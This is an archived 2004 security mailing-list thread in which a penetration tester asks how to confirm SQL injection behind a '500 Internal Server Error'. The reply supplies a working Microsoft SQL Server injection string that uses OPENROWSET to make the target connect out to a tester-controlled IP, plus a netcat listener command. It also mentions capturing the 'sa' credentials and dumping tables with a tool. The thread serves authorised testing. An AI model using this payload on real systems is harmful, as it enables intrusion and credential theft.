From: Lachniet, Mark (mlachniet@sequoianet.com)
Date: Mon Jan 05 2004 - 14:48:44 EST
As noted by Jeff Williams, it can be difficult. You can certainly keep manipulating the command until you can get a more useful error than 500 (preferably one that spits back the error-producing SQL Select statement)
One useful trick is to craft a 'SQL ping' statement into the injection string, such that it tries to connect to an external (controlled by you) SQL server on a specific port. Then simply listen with a protocol analyzer to see if the target machine tries to "ping" you.
from notes from a co-worker, Paul Melson:
Here's the string you can drop in web form inputs to see if they're vulnerable to SQL injection (on Microsoft SQL server anyway):
'; select * from OPENROWSET('SQLOLEDB','192.168.0.1';;,'select @@version')--
To verify results, replace the IP address w/ that of the machine you're testing from, and use netcat (attached) to listen on port 1433 with the following syntax:
nc -vvv -l -p 1433
If the test is successful, you should see a connection and some garbage characters in the netcat window. This type of attack is particularly heinous to customers running Microsoft SQL Server 7/2000. If you replace the 'select @@version' with another command, you can cause the remote database to try and connect using its own 'sa' user and password in clear text and capture it with a sniffer.
IF you want to get REALLY tricky, download 'data thief v1.0' and dump all of their tables in a handy GUI format.
Thanks,
Mark Lachniet
-----Original Message-----
From: Sasa Jusic [mailto:sjusic@pamela.zesoi.fer.hr]
Sent: Monday, January 05, 2004 7:54 AM
To: 'pen-test@securityfocus.com'
Subject: SQL Injection question
Hi group,
I am conducting a Pen test for a customer, and last few days I have been
struggling with their Web application running on Apache/mod_ssl Web Server
using CGI interface. During the initial assessment I found several Web forms
using POST method, so I began searching for SQL Injection Vulnerabilities.
The problem is that forms are well protected, and they are only accepting
numeric values, so I can't insert any malicious characters to test for SQL
vulnerabilities. Then I discovered that the form input validation is done
with JavaScript code on the client side, so I used the Paros proxy tool for
intercepting and modification of submitted form values. In this way I
managed to submit the arbitrary data to the server, and the server response
was "500 Internal Server Error" without any useful information about the
error reason or underlying database structure. I tried various combinations
typical for SQL Injection assessment, but the response was always the same.
On several places I have red that this type of error is one of the possible
indicators of SQL Injection problems, so I would like to examine this
problem more carefully.
How can I know if this is really a SQL Injection problem or some other
error? Is there any way I can elicit some more information about the
structure of the database or any other useful information I can use for
further testing?
I don't have much practical experience with SQL Injection so I would really
appreciate any help.
Best regards,
Sasa.
---------------------------------------------------------------------------
----------------------------------------------------------------------------
---------------------------------------------------------------------------
----------------------------------------------------------------------------
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:44 EDT